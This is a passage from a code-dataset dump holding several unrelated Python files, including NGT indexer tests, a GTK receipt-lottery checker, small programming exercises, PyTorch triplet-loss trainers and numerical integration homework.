_op.DropConstraint.KEYS)\n ),\n (\n 'AddForeignKey(left:PhysicalOperator, right, referenced_columns, foreign_key_columns)',\n lambda left, right, referenced_columns, foreign_key_columns:\n _op.AddForeignKey(left, right, referenced_columns, foreign_key_columns)\n ),\n (\n 'DropForeignKey(child:PhysicalOperator, constraint_name)',\n lambda child, constraint_name: _op.DropConstraint(child, constraint_name, _op.DropConstraint.FOREIGN_KEYS)\n )\n])\n","sub_path":"deriva/chisel/optimizer/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":11078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"202698861","text":"import os\nimport shutil\n\nimport numpy as np\nfrom jina.executors.indexers import BaseIndexer\n\nfrom .. import NGTIndexer\n\n# fix the seed here\nnp.random.seed(500)\nretr_idx = None\nvec_idx = np.random.randint(0, high=100, size=[1, 10])\nvec = np.random.random([10, 10])\nquery = np.array(np.random.random([10, 10]), dtype=np.float32)\n\n\ndef rm_files(file_paths):\n for file_path in file_paths:\n if os.path.exists(file_path):\n if os.path.isfile(file_path):\n os.remove(file_path)\n elif os.path.isdir(file_path):\n shutil.rmtree(file_path, ignore_errors=False, onerror=None)\n\n\ndef test_simple_ngt():\n import ngtpy\n path = '/tmp/ngt-index'\n dimension, queries, top_k, batch_size, num_batch = 10, 3, 5, 8, 3\n\n ngtpy.create(path=path, dimension=dimension, distance_type='L2')\n _index = ngtpy.Index(path=path)\n for i in range(num_batch):\n _index.batch_insert(np.random.random((batch_size, dimension)), num_threads=4)\n assert os.path.exists(path)\n\n idx = []\n dist = []\n for key in np.random.random((queries, dimension)):\n results = _index.search(key, size=top_k, epsilon=0.1)\n index_k = []\n distance_k = []\n [(index_k.append(result[0]), distance_k.append(result[1])) for result in results]\n idx.append(index_k)\n dist.append(distance_k)\n\n idx = np.array(idx)\n dist = np.array(dist)\n\n assert idx.shape == dist.shape\n assert idx.shape == (queries, top_k)\n\n\ndef test_ngt_indexer():\n with NGTIndexer(index_filename='ngt.test.gz') as indexer:\n indexer.add(vec_idx, vec)\n indexer.save()\n assert os.path.exists(indexer.index_abspath)\n index_abspath = indexer.index_abspath\n save_abspath = indexer.save_abspath\n\n with BaseIndexer.load(save_abspath) as indexer:\n assert isinstance(indexer, NGTIndexer)\n idx, dist = indexer.query(query, top_k=4)\n global retr_idx\n if retr_idx is None:\n retr_idx = idx\n else:\n np.testing.assert_almost_equal(retr_idx, idx)\n assert idx.shape == dist.shape\n assert idx.shape == (10, 4)\n\n rm_files([index_abspath, save_abspath])\n","sub_path":"indexers/vector/NGTIndexer/tests/test_ngtindexer.py","file_name":"test_ngtindexer.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"181867609","text":"from gi.repository import Gtk\nimport os\n\nData = []\nFile = os.getcwd() + '/winning_numbers'\ndef msgbox(string):\n msg = Gtk.MessageDialog(message_format=string, buttons=Gtk.ButtonsType.OK)\n msg.run()\n msg.destroy()\n\ndef msgbox_yes_no(string):\n msg = Gtk.MessageDialog(message_format=string, buttons=Gtk.ButtonsType.YES_NO)\n response = msg.run()\n msg.destroy()\n return response\n\nclass DataError(Exception):pass\n\nclass MainWindow(Gtk.Window):\n def __init__(self):\n Gtk.Window.__init__(self)\n self.set_title('統一發票對獎機')\n self.set_default_size(350, 150)\n self.connect('destroy', Gtk.main_quit)\n\n self.t = Gtk.Table(2, 3, False)\n self.add(self.t)\n\n self.NumberL = Gtk.Label('統一發票號碼:')\n self.t.attach_defaults(self.NumberL, 0, 1, 0, 1)\n\n self.NumberE = Gtk.Entry()\n self.NumberE .set_width_chars(15)\n self.NumberE.set_max_length(3)\n self.NumberE.connect('changed', self.NumberE_changed)\n self.t.attach_defaults(self.NumberE, 1, 2, 0, 1)\n\n self.ManageB = Gtk.Button('管理')\n self.ManageB.connect('clicked', self.ManageB_)\n self.t.attach_defaults(self.ManageB, 2, 3, 0, 1)\n\n self.QuitB = Gtk.Button('離開')\n self.QuitB.connect('clicked', self.QuitB_)\n self.t.attach_defaults(self.QuitB, 2, 3, 1, 2)\n\n self.ResultL = Gtk.Label('結果:')\n self.t.attach_defaults(self.ResultL, 0, 1, 1, 2)\n\n self.Result = Gtk.Label()\n self.t.attach_defaults(self.Result, 1, 2, 1, 2)\n\n self.show_all()\n\n def check(self, text):\n try:\n to_test = int(text)\n\n if len(Data) == 0:\n raise DataError\n\n for i in Data:\n if to_test == i:\n self.Result.set_text('恭喜您中獎了: ' + text)\n msgbox('恭喜您中獎了: ' + str(to_test))\n break\n else:\n self.Result.set_text('真可惜,沒中: ' + text)\n self.NumberE.set_text('')\n\n except DataError:\n msgbox('尚未設定中獎號碼!\\n(點齒輪圖示設定)')\n\n except ValueError:\n msgbox('請輸入數字')\n\n except Exception as e:\n msgbox('發生錯誤: {}'.format(type(e)))\n self.NumberE.set_text('')\n\n def NumberE_changed(self, widget):\n if widget.get_text_length() == 3:\n self.check(widget.get_text())\n\n def ManageB_(self, widget):\n ManageWindow()\n\n def QuitB_(self, widget):\n if msgbox_yes_no('是否存檔?') == Gtk.ResponseType.YES:\n f = open(File, 'w')\n for d in Data:\n print(d, file=f)\n Gtk.main_quit()\n\nclass ManageWindow(Gtk.Window):\n def __init__(self):\n Gtk.Window.__init__(self)\n self.set_title('管理中獎號碼')\n self.set_default_size(300, 300)\n\n self.h = Gtk.HBox(False)\n self.add(self.h)\n\n\n self.v1 = Gtk.VBox(False)\n self.h.pack_start(self.v1, True, True, 0)\n\n self.AddE = Gtk.Entry()\n self.AddE.set_max_length(3)\n self.v1.pack_start(self.AddE, False, False, 0)\n\n store = Gtk.ListStore(int)\n for d in Data:\n store.append([d])\n\n self.TreeView = Gtk.TreeView(store)\n\n renderer = Gtk.CellRendererText()\n column = Gtk.TreeViewColumn('', renderer)\n column.add_attribute(renderer, 'text', 0) #!!!important!!!\n self.TreeView.append_column(column)\n\n self.ListBox = Gtk.ScrolledWindow()\n self.ListBox.add(self.TreeView)\n self.v1.pack_start(self.ListBox, True, True, 0)\n\n\n self.v2 = Gtk.VBox(False)\n self.h.pack_start(self.v2, False, False, 0)\n\n self.AddB = Gtk.Button('新增')\n self.AddB.connect('clicked', self.AddB_)\n self.v2.pack_start(self.AddB, False, False, 0)\n\n self.DelB = Gtk.Button('刪除')\n self.DelB.connect('clicked', self.DelB_)\n self.v2.pack_start(self.DelB, False, False, 0)\n\n self.OkB = Gtk.Button('確定')\n self.OkB.connect('clicked', self.OkB_)\n self.v2.pack_end(self.OkB, False, False, 0)\n\n self.show_all()\n\n def AddB_(self, widget):\n to_add = self.AddE.get_text()\n if len(to_add) == 3 and to_add.isnumeric():\n Data.append(int(to_add))\n self.reload()\n print(Data)\n\n else:\n msgbox('必須是三位數')\n\n def DelB_(self, widget):\n mobel, treeiter = self.TreeView.get_selection().get_selected()\n Data.remove((mobel[treeiter][0]))\n self.reload()\n print(Data)\n\n def OkB_(self, widget):\n self.destroy()\n\n def reload(self):\n self.destroy()\n self.__init__()\n\nif __name__ == '__main__':\n if not os.path.exists(File):\n open(File, 'w').close() # create a 'winning_numbers' file\n\n f = open(File, 'r')\n for i in f:\n Data.append(int(i))\n f.close()\n\n MainWindow()\n Gtk.main()\n","sub_path":"prevwork/archived/receipt.py","file_name":"receipt.py","file_ext":"py","file_size_in_byte":5056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"223161997","text":"'''def p_plus(a,b):\n print(a+b)\n\ndef r_plus(a,b):\n return a+b\n\np_result=p_plus(2,3)\nr_result=r_plus(2,3)\n\nprint(p_result,r_result)'''\ndef r_plus(a,b):\n return a+b\n print(\"ervgsrgergvesvas\",True)\n\nr_result=r_plus(2,4)\n\nprint(r_result)","sub_path":"2020.01.18/1_6.py","file_name":"1_6.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"123933082","text":"# 4. Write a Python program to sort a list of dictionaries using Lambda.\n# Original list of dictionaries :\n# [{'make': 'Nokia', 'model': 216, 'color': 'Black'}, {'make': 'Mi Max', 'model': '2',\n# 'color': 'Gold'}, {'make': 'Samsung', 'model': 7, 'color': 'Blue'}]\n# Sorting the List of dictionaries :\n# [{'make': 'Nokia', 'model': 216, 'color': 'Black'},\n# {'make': 'Samsung', 'model': 7, 'color': 'Blue'},\n# {'make': 'Mi Max', 'model': '2', 'color': 'Gold'}]\n\n\ngiven_list=[{'make': 'Nokia', 'model': 216, 'color': 'Black'}, {'make': 'Mi Max', 'model': 2,\n'color': 'Gold'}, {'make': 'Samsung', 'model': 7, 'color': 'Blue'}]\n\nprint(sorted(given_list, key=lambda i: i['model'], reverse=True))","sub_path":"4th_solution.py","file_name":"4th_solution.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"454652417","text":"import math as math\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nprint(\"---This is a projectile motion graph generator--- \\n\")\r\nprint(\"---Everything is set in KGM units---\")\r\nprint(\"\")\r\nh1 = float(input('Please input the initial height(m): '))\r\nprint(\"\")\r\nv1 = float(input('Please input the initial velocity(m/s): '))\r\nprint(\"\")\r\nangle = float(input('Please input the angle in degrees: '))\r\nprint(\"\")\r\nax = float(input('Please input acceleration in the x direction(m/s^2): '))\r\nprint(\"\")\r\nay1 = float(input('Please input acceleration in the y direction(m/s^2): '))\r\n#All the input values given by the user\r\nprint(\"\")\r\nay = -ay1\r\n#Will make ay1(acceleration in the y direction) negative, so it results into a freefall\r\nprint(\"\")\r\nwhile ay == 0 or ay > 0:\r\n #if the set ay is lower than zero, the user will have to re-input its value.\r\n print('Vertical acceleration will not result in freefall.\\n Please input a value higher than 0\\n ')\r\n ay1 = float(input(\"Please re-input the acceleration in the y direction: \"))\r\n ay = -ay1\r\n\r\n\r\nwhile angle > 90:\r\n #if the set angle is higher than 90, the user will have to re-input its value.\r\n print(\"Maximum angle is set at 90 degrees.\\n Please do not exceed 90 degrees\\n\")\r\n angle = float(input(\"Please re-input the angle that fit the parameters: \"))\r\nangle = math.radians(angle)\r\n#will convert radians to degrees\r\nv1x = v1*math.cos(angle)\r\nv1y = v1*math.sin(angle)\r\n#will get the angle of the angle and \r\nrt = [ay/2, v1y, h1]\r\ntm = np.roots(rt)\r\n#Will take the roots\r\ntm = max(tm)\r\n\r\nd = np.arange(0,tm,0.1)\r\ny = np.zeros((len(d),1))\r\nx = np.zeros((len(d),1))\r\n\r\nt = 0.1\r\ny[0,0] = h1\r\n\r\nn = np.arange(0,len(d),1)\r\nfor i in n:\r\n xt = (ax*(t**2))/2 + v1x*t\r\n yt = (ay*(t**2))/2 + v1y*t + h1\r\n x[i,0] = xt\r\n y[i,0] = yt\r\n t=t+0.1\r\n#Datapoints to be plotted\r\nplt.plot(x,y)\r\nplt.autoscale(enable = True, axis = 'both', tight = True)\r\nplt.xlabel(\"Distance(Meters)\")\r\nplt.ylabel(\"Height(Meters)\")\r\nplt.grid()\r\n","sub_path":"MachProb#4(PY).py","file_name":"MachProb#4(PY).py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"195081495","text":"# 6kyu - Calculate String Rotation\n\n\"\"\" Write a function that receives two strings and returns n, where n is equal to the number of characters \nwe should shift the first string forward to match the second.\n\nFor instance, take the strings \"fatigue\" and \"tiguefa\". In this case, the first string has been rotated \n5 characters forward to produce the second string, so 5 would be returned.\nIf the second string isn't a valid rotation of the first string, the method returns -1.\n\n \"coffee\", \"eecoff\" => 2 \n \"eecoff\", \"coffee\" => 4 \n \"moose\", \"Moose\" => -1 \n \"isn't\", \"'tisn\" => 2 \n \"Esham\", \"Esham\" => 0 \n \"dog\", \"god\" => -1\n\n\nshiftedDiff(\"coffee\", \"eecoff\") => 2\nshiftedDiff(\"eecoff\", \"coffee\") => 4\nshiftedDiff(\"moose\", \"Moose\") => nil\nshiftedDiff(\"isn't\", \"'tisn\") => 2\nshiftedDiff(\"Esham\", \"Esham\") => 0\nshiftedDiff(\"dog\", \"god\") => nil \"\"\"\n\n\n# def shifted_diff(first, second):\n# for i in range(len(first)):\n# if second == first[-i:] + first[:-i]:\n# return i\n# return -1\n\n# def shifted_diff(first, second):\n# return max(i if second == first[-i:] + first[:-i] else -1 for i in range(len(first)))\n\ndef shifted_diff(first, second):\n return (second + second).find(first) if len(first) == len(second) else -1\n\n\nq = shifted_diff(\"eecoff\", \"coffee\") # 4\nq\nq = shifted_diff(\"Moose\", \"moose\") # -1\nq\nq = shifted_diff(\"isn't\", \"'tisn\") # 2\nq\nq = shifted_diff(\"Esham\", \"Esham\") # 0\nq\nq = shifted_diff(\" \", \" \") # 0\nq\nq = shifted_diff(\"hoop\", \"pooh\") # -1\nq\nq = shifted_diff(\" \", \" \") # -1\nq\n","sub_path":"6kyu/Calculate String Rotation/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"24640846","text":"def power1(a, b):\n if b == 0:\n return 1\n if b%2 == 0:\n x = pow(a, b//2)\n return x*x\n else:\n x = pow(a, b//2)\n return x*x*a\n\n#b = 1101010101111\n#a^b = a^(2^9 + 2^8 + 2^7 + 2^6 + 2^5 + 2^4 + 2^3 + 2^2 + 2^1 + 2^0)\n\ndef power2(a, b):\n x = 1\n r = a\n while b != 0:\n if b%2 == 1:\n x *= r\n b //= 2\n r *= r\n return x\n\ndef powermodulo(a, b, n):\n if(b == 0):\n return 1\n if b%2 == 0:\n x = pow(a, b//2, n)\n x = x%n\n return x*x\n else:\n x = pow(a, b//2, n)\n x = x%n\n return x*x*(a%n)\n\ndef powermodulo1(a, b, n):\n r = 1\n for i in range(b):\n r = r * a % n\n return r\n\n\nprint(power1(3,5))\nprint(power1(181,46))\nprint(power2(3,5))\nprint(power2(181,46))\nprint(powermodulo(3,5,4))\nprint(powermodulo1(3,5,4))","sub_path":"IntegerExponentiation/EfficientIntegerExponentiation.py","file_name":"EfficientIntegerExponentiation.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"613867078","text":"\nimport torch\nimport tqdm\nfrom torch import nn\nfrom torch.nn.modules.loss import _Loss\nfrom torch.optim import Optimizer\nfrom torch.optim.lr_scheduler import _LRScheduler\nfrom torch.utils.data import DataLoader\n\nimport utils\nfrom ml_utils import ml_utils, clustering\n\n\nclass Triplet_Trainer(object):\n def __init__(self,\n model: nn.Module,\n miner,\n loss: _Loss,\n optimizer: Optimizer,\n scheduler: _LRScheduler,\n device,\n plotter: utils.VisdomPlotter,\n margin: int,\n embedding_size: int,\n eval_function,\n batch_size: int = 32):\n\n self.model = model\n self.miner = miner\n self.optimizer = optimizer\n self.scheduler = scheduler\n self.plotter = plotter\n self.margin = margin\n self.embedding_size = embedding_size\n self.batch_size = batch_size\n\n self.eval_function = eval_function\n self.device = device\n\n self.step = 0\n self.loss = loss\n\n def Train_Epoch(self,\n train_loader: DataLoader,\n epoch: int):\n\n self.model.train()\n data_dict = utils.AverageData_Dict()\n num_triplets = 0\n\n # Training\n source_anchor_images = []\n source_positive_images = []\n source_negative_images = []\n\n training_step = 0\n tbar = tqdm.tqdm(train_loader)\n for i, (batch, labels) in enumerate(tbar):\n batch = batch.to(self.device)\n\n self.model.eval()\n with torch.no_grad():\n embeddings = self.model(batch)\n\n triplets_indexes = self.miner.get_triplets(embeddings, labels)\n num_triplets += len(triplets_indexes)\n data_dict['triplets_per_step'].append(len(triplets_indexes))\n\n source_anchor_images.append(batch[triplets_indexes[:, 0]])\n source_positive_images.append(batch[triplets_indexes[:, 1]])\n source_negative_images.append(batch[triplets_indexes[:, 2]])\n\n if num_triplets >= self.batch_size:\n\n source_anchor_images = torch.cat(source_anchor_images, 0)\n source_positive_images = torch.cat(source_positive_images, 0)\n source_negative_images = torch.cat(source_negative_images, 0)\n\n self.optimizer.zero_grad()\n nb_chunks = num_triplets // self.batch_size\n for chunk_idx in range(nb_chunks):\n\n lower_idx = chunk_idx * self.batch_size\n higher_idx = chunk_idx * self.batch_size + self.batch_size\n\n self.model.train()\n image_tensor = torch.cat([source_anchor_images[lower_idx:higher_idx],\n source_positive_images[lower_idx:higher_idx],\n source_negative_images[lower_idx:higher_idx]], 0)\n embeddings = self.model(image_tensor)\n embeddings_list = torch.chunk(embeddings, 3, 0)\n\n loss = self.loss(*embeddings_list)# / nb_chunks\n loss.backward()\n\n ap_distances = torch.norm(embeddings_list[0] - embeddings_list[1], p=2, dim=1)\n an_distances = torch.norm(embeddings_list[0] - embeddings_list[2], p=2, dim=1)\n\n data_dict['loss'].append(loss.item())\n data_dict['dap'].append(ap_distances.mean().item())\n data_dict['dan'].append(an_distances.mean().item())\n\n training_step += 1\n # tbar.set_postfix({'training steps': training_step})\n\n self.optimizer.step()\n num_triplets = 0\n source_anchor_images = []\n source_positive_images = []\n source_negative_images = []\n\n lr = ml_utils.get_lr(self.optimizer)\n self.scheduler.step()\n\n self.plotter.plot('learning rate', 'epoch', 'train', 'Learning Rate',\n epoch, lr)\n self.plotter.plot('triplet number', 'epoch', 'triplets per step', 'Triplets Mining',\n epoch, data_dict['triplets_per_step'].last_avg())\n\n if training_step > 0:\n self.plotter.plot('loss', 'epoch', 'train_loss', 'Losses', epoch, data_dict['loss'].last_avg())\n self.plotter.plot('distance', 'epoch', 'train_an', 'Pairwise mean distance',\n epoch, data_dict['dan'].last_avg())\n self.plotter.plot('distance', 'epoch', 'train_ap', 'Pairwise mean distance',\n epoch, data_dict['dap'].last_avg())\n\n self.miner.plot(epoch)\n\n\nclass Dualtriplet_Trainer(object):\n def __init__(self,\n model: nn.Module,\n miner,\n loss: _Loss,\n optimizer: Optimizer,\n scheduler: _LRScheduler,\n device,\n plotter: utils.VisdomPlotter,\n margin: int,\n embedding_size: int,\n batch_size: int = 32):\n\n self.model = model\n self.miner = miner\n self.optimizer = optimizer\n self.scheduler = scheduler\n self.plotter = plotter\n self.margin = margin\n self.embedding_size = embedding_size\n self.batch_size = batch_size\n\n self.device = device\n\n self.step = 0\n self.loss = loss\n\n def Train_Epoch(self,\n source_loader: DataLoader,\n target_loader: DataLoader,\n epoch):\n\n self.model.train()\n data_dict = utils.AverageData_Dict()\n num_dualtriplets = 0\n total_dualtriplets = 0\n\n # Training\n source_anchor_images = []\n source_positive_images = []\n source_negatives_images = []\n target_anchor_images = []\n target_positive_images = []\n target_negatives_images = []\n\n clustering.update_gaussian_mixture(self.miner.gmixture,\n target_loader,\n self.model,\n self.device,\n _plotter=self.plotter,\n name='Target Gaussians')\n\n training_step = 0\n data_loader = zip(source_loader, target_loader)\n tbar = tqdm.tqdm(data_loader, total=min(len(source_loader), len(target_loader)))\n for i, ((source_batch, source_labels), (target_batch, target_labels)) in enumerate(tbar):\n source_batch, target_batch = source_batch.to(self.device), target_batch.to(self.device)\n batch = torch.cat([source_batch, target_batch], 0)\n\n self.model.eval()\n with torch.no_grad():\n embeddings = self.model(batch)\n source_embeddings, target_embeddings = torch.chunk(embeddings, 2, 0)\n\n dualtriplets_indexes = self.miner.get_dualtriplet(source_embeddings, source_labels, target_embeddings, target_labels)\n num_dualtriplets += len(dualtriplets_indexes)\n\n source_anchor_images.append(source_batch[dualtriplets_indexes[:, 0]])\n source_positive_images.append(source_batch[dualtriplets_indexes[:, 1]])\n source_negatives_images.append(source_batch[dualtriplets_indexes[:, 2]])\n target_anchor_images.append(target_batch[dualtriplets_indexes[:, 3]])\n target_positive_images.append(target_batch[dualtriplets_indexes[:, 4]])\n target_negatives_images.append(target_batch[dualtriplets_indexes[:, 5]])\n\n if num_dualtriplets >= self.batch_size:\n source_anchor_images = torch.cat(source_anchor_images, 0)[:self.batch_size]\n source_positive_images = torch.cat(source_positive_images, 0)[:self.batch_size]\n source_negatives_images = torch.cat(source_negatives_images, 0)[:self.batch_size]\n target_anchor_images = torch.cat(target_anchor_images, 0)[:self.batch_size]\n target_positive_images = torch.cat(target_positive_images, 0)[:self.batch_size]\n target_negatives_images = torch.cat(target_negatives_images, 0)[:self.batch_size]\n\n self.model.train()\n image_tensor = torch.cat([source_anchor_images, source_positive_images, source_negatives_images,\n target_anchor_images, target_positive_images, target_negatives_images], 0)\n embeddings = self.model(image_tensor)\n embeddings_list = torch.chunk(embeddings, 6, 0)\n\n loss = self.loss(*embeddings_list)\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n src_ap_distances = torch.norm(embeddings_list[0] - embeddings_list[1], p=2, dim=1)\n src_an_distances = torch.norm(embeddings_list[0] - embeddings_list[2], p=2, dim=1)\n tgt_ap_distances = torch.norm(embeddings_list[3] - embeddings_list[4], p=2, dim=1)\n tgt_an_distances = torch.norm(embeddings_list[3] - embeddings_list[5], p=2, dim=1)\n\n data_dict['src_dap'].append(src_ap_distances.mean().item())\n data_dict['src_dan'].append(src_an_distances.mean().item())\n data_dict['tgt_dap'].append(tgt_ap_distances.mean().item())\n data_dict['tgt_dan'].append(tgt_an_distances.mean().item())\n\n num_dualtriplets = 0\n source_anchor_images = []\n source_positive_images = []\n source_negatives_images = []\n target_anchor_images = []\n target_positive_images = []\n target_negatives_images = []\n training_step += 1\n total_dualtriplets += self.batch_size\n tbar.set_postfix({'training steps': training_step})\n\n self.loss.plot(self.step)\n self.miner.plot(self.step)\n self.step += 1\n\n continue\n\n lr = ml_utils.get_lr(self.optimizer)\n self.scheduler.step()\n\n # self.plotter.plot('learning rate', 'epoch', 'train', 'Learning Rate',\n # epoch, lr)\n # self.plotter.plot('dualtriplet number', 'epoch', 'total dualtriplets', 'Dual Triplets Mining',\n # epoch, total_dualtriplets)\n #\n # if training_step > 0:\n #\n # self.loss.plot(epoch)\n # self.miner.plot(epoch)\n","sub_path":"ml_utils/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":10712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"167638548","text":"from mpl_toolkits.mplot3d.axes3d import get_test_data\nfrom gaussxw import gaussxwab\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport copy\n\n#-------------#\n\n# defs\n\n# n is range of smoothing\ndef smooth(x, y, n):\n if n != 0:\n xs = x[n : -n]\n else:\n xs = x\n\n yt = y\n ys = copy.copy(y)\n\n for i in range(n):\n yt = copy.copy(ys)\n\n ys = ys[ : -2]\n\n for i in range(len(yt) - 2):\n ys[i] = np.average(yt[i : i + 3])\n\n return xs, ys\n\n# Forward Difference\ndef diff_f(x, y):\n x1 = x[ : -1]\n y1 = np.empty(len(y) - 1)\n\n for i in range(len(y1)):\n y1[i] = (y[i + 1] - y[i]) / (x[i + 1] - x[i])\n\n return x1, y1\n\n# Trapezoidal integration for list\ndef Tra_int_l(x, y, es = False): # es represents whether the input x is evenly spaced\n h = x[1] - x[0]\n\n if es:\n I = (y[0] + 2 * sum(y[1 : -1]) + y[-1]) * h\n\n else:\n I = 0\n for i in range(len(y) - 1):\n I += (y[i] + y[i + 1]) * (x[i + 1] - x[i])\n\n return I / 2\n\n# Simpson’s Rule for list\ndef Sim_int_l(x, y, es = False): # es represents whether the input x is evenly spaced\n h = x[1] - x[0]\n\n if es:\n S = (2 * sum(y) - y[0] - y[-1])\n\n for i in range(1, len(y) - 1, 2):\n S += 2 * y[i]\n \n # if length of data is even, apply trapezoidal integration to the last two points\n if len(x) % 2 == 0:\n S -= (y[-1] + y[-2]) / 2\n\n S *= h\n\n else:\n S = 0\n for j in range(1, len(y) - 1, 2):\n i = j - 1\n k = j + 1\n S += -(x[i]-x[k]) * (x[i]**2*(y[j]-y[k]) - 3*x[j]**2*(y[i]+y[k]) + x[k]**2*(y[j]-y[i]) + 2*x[i]*x[j]*(y[i]+2*y[k]) - 2*x[i]*x[k]*(y[i]+y[j]+y[k]) + 2*x[j]*x[k]*(2*y[i]+y[k])) / ((x[i]-x[j])*(x[j]-x[k]))\n \n # if length of data is even, apply trapezoidal integration to the last two points\n if len(x) % 2 == 0:\n S += (x[-1] - x[-2]) * (y[-1] + y[-2])\n\n S /= 2\n \n return S / 3\n\n# Trapezoidal integration for function with one variable\ndef Tra_int_f(f, start, end, N = 10, precision = None, print_out = False, N_lim = None):\n h = (end - start) / N\n S1 = (- f(start) - f(end))\n\n # start calculating S1\n x = start\n while x <= end + h / 2: # the h/2 added to end avoids rounding error\n S1 += 2 * f(x)\n x += h\n\n S1 *= (h / 2)\n # finish calculating S1\n \n while True:\n # start calculating S2\n S2 = S1\n\n x = start + (h / 2)\n while x < end:\n S2 += f(x) * h\n x += h\n \n S2 /= 2\n # finish calculating S2\n\n eps = abs(S1 - S2) / 3\n\n if print_out:\n print('result =', S2, '\\teps =', eps, '\\tN = ', N)\n \n if precision == None or eps == 0 or eps < precision or (N_lim != None and N > N_lim):\n break\n\n S1 = S2\n N *= 2\n h = (end - start) / N\n\n return S2\n\n# Simpson’s Rule for function with one variable\ndef Sim_int_f(f, start, end, N = 10, precision = None, print_out = False, N_lim = None):\n h = (end - start) / N\n S0 = (- f(start) - f(end)) # S0 is the summation of values used repeatedly\n S1 = 0\n\n # start calculating S1\n x = start\n even = False\n while x <= end + h / 2: # the h/2 added to end avoids rounding error\n y = f(x)\n S0 += 2 * y\n if even:\n S1 += 2 * y\n \n x += h\n even = not even\n\n S1 += S0\n S1 *= (h / 3)\n # finish calculating S1\n\n while True:\n # start calculating S2\n S2 = S0\n\n x = start + (h / 2)\n while x < end:\n y = f(x)\n S0 += 2 * y\n S2 += 4 * y\n\n x += h\n\n S2 *= (h / 6)\n # finish calculating S2\n\n # if N is odd, apply trapezoidal integration to the last two points\n if N % 2 == 1:\n correct = (f(end) + f(end - h)) * (h / 2)\n S1 -= correct\n S2 -= correct\n\n eps = abs(S1 - S2) / 3\n\n if print_out:\n print('result =', S2, '\\teps =', eps, '\\tN = ', N)\n \n if precision == None or eps == 0 or eps < precision or (N_lim != None and N > N_lim):\n break\n\n # remove the correction applied to the last two points\n if N % 2 == 1:\n S1 += correct\n S2 += correct\n\n S1 = S2\n N *= 2\n h = (end - start) / N\n\n return S2\n\ndef E(x):\n t = np.linspace(0, x, (abs(int(x)) + 1) * 100)\n return Sim_int_l(t, np.e**(-t**2))\n\ndef J(m, x):\n theta = np.linspace(0, np.pi, 1000)\n f = np.cos(m * theta - x * np.sin(theta))\n\n return Sim_int_l(theta, f) / np.pi\n\ndef int_3_11(x):\n return x**3 / ((1-x)**5 * (np.e**(x/(1-x))-1))\n\n#-------------#\n\n# # 3-3\n\n# noise = np.loadtxt(\"./noise_data.txt\")\n# x = noise[ : , 0]\n# y = noise[ : , 1]\n\n# f = 1 # f is number of figure\n# for n in range(0, 10, 2): # n is range of smoothing\n# plt.figure(f)\n# plt.subplots_adjust(hspace = 0.3)\n# f += 1\n\n# xs, ys = smooth(x, y, n)\n# x1, y1 = diff_f(xs, ys)\n\n# plt.subplot(211)\n# plt.title(\"n =\" + str(n))\n# plt.xlabel('x')\n# plt.ylabel('y')\n# plt.plot(x, y, 'k', label = 'orignial') # original data\n# plt.plot(xs, ys, 'r', alpha = 0.5, label = 'smooth') # smoothed data\n# plt.legend()\n\n# plt.subplot(212)\n# plt.xlabel('x')\n# plt.ylabel('y')\n# plt.plot(x1, y1, 'b', label = '$1^{st} derivative$') # Forward difference\n# plt.legend()\n\n# plt.show()\n\n# # 3-4\n\n# velocity = np.loadtxt(\"./velocities.txt\")\n# t = velocity[ : , 0]\n# v_x = velocity[ : , 1]\n\n# x = np.empty(len(t))\n# for i in range(2, len(x)):\n# x[i] = Tra_int_l(t[ : i], v_x[ : i])\n\n# plt.plot(t, v_x, label = 'velocity')\n# plt.plot(t, x, label = 'displacement')\n# plt.xlabel('$t/s$')\n# plt.ylabel('$v_x/(m/s)$ or $L(t)/m$')\n# plt.legend()\n# plt.show()\n\n\nactual_value = 22/5\nsteps = np.array([10, 100, 1000])\n\nfor i in range(2):\n plt.figure(i + 1)\n plt.title('steps = ' + str(steps + i))\n\n tra_error = []\n sim_error = []\n \n for N in steps + i:\n x = np.linspace(0, 2, N)\n y = x**4 - 2 * x + 1\n\n tra_error.append(abs(Tra_int_l(x, y) - actual_value) / actual_value)\n sim_error.append(abs(Sim_int_l(x, y, True) - actual_value) / actual_value)\n\n plt.xscale(\"log\")\n plt.yscale(\"log\")\n plt.xlabel(\"steps\")\n plt.ylabel(\"relative error\")\n plt.plot(steps, tra_error, label = 'Trapezoidal integration')\n plt.plot(steps, sim_error, label = 'Simpson\\'s rule')\n plt.legend()\n\nplt.show()\n\n# # 3-5\n\n# f = 1 # number of figure\n# for n in [3, 100]:\n# plt.figure(f)\n# f += 1\n\n# x = np.linspace(0, n, 10 * n)\n# y = np.empty(len(x))\n\n# for i in range(len(x)):\n# y[i] = E(x[i])\n\n# plt.plot(x, y, label = 'from 0 to ' + str(n))\n# plt.legend()\n\n# plt.show()\n\n# # 3-6\n\n# x = np.linspace(0, 20, 200)\n# j = np.empty(len(x))\n\n# for m in range(1,4):\n# for i in range(len(x)):\n# j[i] = J(m, x[i])\n# plt.plot(x, j, label = '$J_' + str(m) + '(x)$')\n\n# plt.legend()\n# plt.show()\n\n\n# x = np.linspace(-1000, 1000, 70)\n# y = np.linspace(-1000, 1000, 70)\n\n# k = 2 * np.pi / 500\n\n# X, Y = np.meshgrid(x, y)\n# r = np.sqrt(X**2 + Y**2)\n# I = 